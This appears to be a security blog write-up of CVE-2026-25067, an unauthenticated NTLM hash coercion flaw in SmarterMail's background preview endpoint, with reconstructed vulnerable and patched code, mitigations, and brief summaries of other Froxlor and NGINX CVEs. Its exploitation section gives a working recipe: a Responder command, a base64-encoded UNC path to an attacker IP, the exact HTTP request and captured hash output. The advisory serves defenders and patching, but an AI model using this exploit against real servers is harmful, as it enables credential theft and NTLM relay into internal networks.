Jan 30, 2026·7 min read·73 visits
Unauthenticated attackers can force SmarterMail servers to authenticate to an external SMB share by abusing the background preview feature. This leaks NTLMv2 hashes, enabling credential theft or relay attacks. Fixed in Build 9518.
SmarterTools SmarterMail, a widely deployed business email server, contains a critical design flaw in its 'Background of the Day' preview feature. The application blindly trusts user-supplied, Base64-encoded file paths without sanitization. By supplying a UNC path (e.g., pointing to a rogue SMB server), an unauthenticated attacker can coerce the SmarterMail service—often running with high privileges—to initiate an outbound connection. This automatically transmits the service account's NTLM credentials to the attacker, opening the door for offline cracking or NTLM relay attacks against other infrastructure.
In the world of enterprise software, there is an unwritten rule: if an application has a login screen, someone, somewhere, will demand the ability to customize the background image. It seems innocuous enough. A little eye candy for the sysadmins. But in the Windows ecosystem, file paths are not just pointers to data—they are potential triggers for authentication mechanisms that date back to the 90s.
SmarterMail, a robust alternative to Exchange, introduced a 'Background of the Day' feature. The idea is simple: let the administrator preview what the rotating login screen looks like. To do this, the server needs to fetch the image from a path. This is where things get interesting for us.
CVE-2026-25067 isn't a memory corruption bug. It's not a buffer overflow. It is a logic flaw born from the dangerous intersection of convenience features and Windows' automatic authentication behavior. The vulnerability lies in an endpoint designed to render these previews. It accepts a file path from the user, and because the developers likely assumed 'who would put a remote path here?', they processed it. This assumption is exactly what we are going to break.
The vulnerability is a textbook case of Unauthenticated Path Coercion (CWE-706). The specific endpoint in question takes a query parameter, Base64-decodes it, and passes the resulting string directly to a file system API (likely something akin to System.IO.File.Open or GetFileAttributes).
The flaw is the lack of validation. The application assumes the decoded string is a local path like C:\SmarterMail\Images\bg.jpg. However, Windows APIs are incredibly helpful. If you pass them a Universal Naming Convention (UNC) path—like \\192.168.1.50\share\image.jpg—the operating system says, 'Ah, a network resource! Let me fetch that for you.'
Here is the kicker: To fetch a file from a Windows network share (SMB), you need to authenticate. When the SmarterMail service (which typically runs as NETWORK SERVICE or SYSTEM) tries to access that UNC path, the Windows kernel automatically attempts to negotiate authentication with the remote server. It sends an NTLM Negotiate message, followed eventually by the NTLM Challenge/Response. If the attacker controls that remote server, they don't serve a file—they capture the credentials. The application literally hands over the keys to the castle because it was tricked into looking in the wrong place.
While we don't have the exact source code repository commit history (as SmarterMail is proprietary), we can reconstruct the vulnerable pattern based on the patch behavior and the nature of .NET file operations. This is 'The Smoking Gun' logic that typically causes these issues.
Before the fix, the controller logic likely looked something like this:
[HttpGet]
[AllowAnonymous] // <--- The first mistake
public IActionResult GetBackgroundPreview(string path)
{
// 1. Decode the input without validation
string decodedPath = Encoding.UTF8.GetString(Convert.FromBase64String(path));
// 2. Blindly access the file system
// If decodedPath is "\\10.0.0.1\share", Windows initiates SMB auth here
if (System.IO.File.Exists(decodedPath))
{
var imageBytes = System.IO.File.ReadAllBytes(decodedPath);
return File(imageBytes, "image/jpeg");
}
return NotFound();
}In Build 9518, SmarterTools introduced strict validation. They stopped trusting the input. The patched logic effectively enforces a sandbox, ensuring the path is local and resides within expected directories.
public IActionResult GetBackgroundPreview(string path)
{
string decodedPath = Encoding.UTF8.GetString(Convert.FromBase64String(path));
// 1. Check for UNC paths explicitly
if (decodedPath.StartsWith("\\") || decodedPath.StartsWith("//"))
{
throw new SecurityException("UNC paths are not allowed.");
}
// 2. Canonicalization check (prevent traversal)
string fullPath = Path.GetFullPath(decodedPath);
if (!fullPath.StartsWith(AppDomain.CurrentDomain.BaseDirectory))
{
return BadRequest("Invalid path.");
}
// ... proceed safely ...
}The fix is simple: assume the user is malicious. Never pass user input to file APIs without first verifying it points exactly where you think it should.
Exploiting this requires no authentication, just network visibility to the SmarterMail server. We will use a tool like Responder to act as the malicious SMB server. The goal is to force the SmarterMail server to connect to us.
First, fire up Responder on your attacking machine (let's say IP 192.168.45.5). This tool listens for LLMNR, NBT-NS, and crucially, SMB connections.
sudo responder -I eth0 -vWe need a UNC path pointing to our Responder IP. To ensure we trigger the file logic, we can fake a path to a JPG.
Path: \\192.168.45.5\backups\pwn.jpg
Now, we Base64 encode this string. In a real engagement, you might need to handle URL encoding for the Base64 special characters (+, /, =), but the raw Base64 usually works if the server is lenient.
echo -n '\\192.168.45.5\backups\pwn.jpg' | base64
# Output: XFwxOTIuMTY4LjQ1LjVcYmFja3Vwc1xwd24uanBnSend the HTTP request to the vulnerable endpoint. Note that the exact path might vary slightly based on the installation's routing configuration, but it generally lives under /api.
GET /api/v1/settings/sysadmin/background-of-the-day-preview?path=XFwxOTIuMTY4LjQ1LjVcYmFja3Vwc1xwd24uanBn HTTP/1.1
Host: mail.target-corp.com
Connection: closeCheck your Responder terminal. You should see an incoming SMB connection from the SmarterMail server IP.
[SMB] NTLMv2-SSP Client : 10.10.10.20
[SMB] NTLMv2-SSP Username : TARGET\MachineAccount$
[SMB] NTLMv2-SSP Hash : MachineAccount$::Target:11223344...
Congratulations. You now have the NTLMv2 hash of the account running the mail service. If it's SYSTEM, you have the machine account hash.
You might be thinking, "Okay, I have a hash. So what? I can't reverse it instantly." That is a dangerous underestimation of NTLM coercion.
1. NTLM Relay: This is the most immediate threat. If SMB Signing is not enforced on other servers in the network (which is the default configuration for workstations and often ignored on servers), an attacker can relay this authentication attempt. Instead of cracking the hash, the attacker forwards the credentials to another machine (like a file server or internal wiki). The target server sees a valid login coming from the trusted Mail Server account and grants access. This can lead to RCE on other internal hosts or massive data exfiltration.
2. Offline Cracking: If the service is running as a dedicated service account (e.g., svc_smartermail) and the password is weak (e.g., Summer2026!), a GPU rig will crack that NTLMv2 hash in minutes. Once the attacker has the cleartext password, they can log in via RDP or legitimate SMB channels.
3. Lateral Movement: SmarterMail servers are often critical infrastructure. They are trusted. Compromising the identity of the mail server is a massive pivot point for an attacker to move laterally into the deepest parts of the network.
SmarterTools responded quickly with Build 9518, released on January 22, 2026. Patching is the only way to fix the code logic, but there are architectural changes you should make to prevent this class of bug entirely.
1. Apply the Patch: Update to Build 9518 or higher immediately. This update enforces local path validation.
2. Block Outbound SMB (Port 445): This is a golden rule for firewall configuration. Your mail server should generally not be initiating outbound SMB connections to the internet or random client subnets. Block TCP 445 egress at the network perimeter and the host firewall. If the server can't talk to the attacker's SMB listener, the exploit fails.
3. Disable NTLM: If your environment supports it, move to Kerberos-only authentication and disable NTLM usage for the service account. This prevents the server from downgrading to the NTLM protocol that is susceptible to relay attacks.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
SmarterMail SmarterTools | < Build 9518 | Build 9518 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-706 (Path Coercion) |
| CVSS v4.0 | 6.9 (Medium) |
| Attack Vector | Network (Unauthenticated) |
| Impact | Info Disclosure / Auth Coercion |
| Status | Patched (Jan 22, 2026) |
| Exploitability | Trivial (Standard Tooling) |
The product does not properly control or filter the path of a resource that is accessed by the software, enabling an attacker to access or reference files outside of the intended directory.
A critical stored Cross-Site Scripting (XSS) vulnerability was identified in Froxlor server administration software panel before version 2.3.8. Authenticated customers with DNS editor privileges can inject malicious JavaScript into DNS TXT records. Because the application processes these values via a raw formatting callback without context-aware HTML entity encoding, the payload executes in the security context of administrative users who view the affected domain's DNS zones.
An authenticated administrator with privileges to manage admin accounts (such as change_serversettings) can execute arbitrary SQL commands via a second-order SQL injection vulnerability. The flaw resides in Froxlor's administrative API endpoints, specifically during the handling of IP address mapping parameters which are stored as serialized arrays and later interpolated without sanitization into active database queries. This vulnerability allows high-privileged administrative attackers to compromise the database. By injecting a payload into administrative profile metadata, an attacker can extract sensitive credentials, manipulate backend settings, or potentially disrupt database integrity. The vulnerability affects all versions of Froxlor prior to 2.3.8.
CVE-2026-54543 is a DNS Resource Record (RR) Injection vulnerability in Froxlor, an open-source server administration control panel. Prior to version 2.3.8, the DomainZones.add API command failed to perform strict sanitization and validation on the user-controlled record (label) and type parameters before serializing them into BIND-compatible zone files. An authenticated customer with DNS zone management permissions can inject control characters, breaking out of the original record context to define unauthorized resource records within managed zones.
CVE-2026-42533 is a critical security vulnerability discovered in NGINX Open Source, NGINX Plus, NGINX Ingress Controller, and related products, referred to as the 'Two-Pass Capture-Clobbering' bug. The flaw is situated within NGINX's internal evaluation engine when handling complex variables, exposing a heap-based buffer overflow and information leak when a configuration chains regular expression-based map directives with numbered capture groups. An unauthenticated remote attacker can exploit this weakness by transmitting crafted HTTP requests to trigger remote code execution or defeat ASLR.
Froxlor prior to version 2.3.8 contains a high-severity architectural flaw where the standalone lib/ajax.php entry point bypasses the centralized request validation in lib/init.php. Unauthenticated remote attackers can leverage Cross-Site Request Forgery (CSRF) to induce authenticated administrators to submit forged requests that modify API key whitelists and expiration dates, potentially yielding persistent, out-of-band administrative control.
An insecure data retrieval flaw in the Froxlor server administration panel API allows authenticated remote attackers to retrieve unredacted bcrypt password hashes and Base32-encoded Time-Based One-Time Password (TOTP) seeds. Affected endpoints include several 'get' and 'listing' handlers for customers, administrators, and FTP accounts. Utilizing these leaked parameters, attackers can crack the password hashes offline and concurrently generate valid second-factor authentication codes to completely bypass access controls.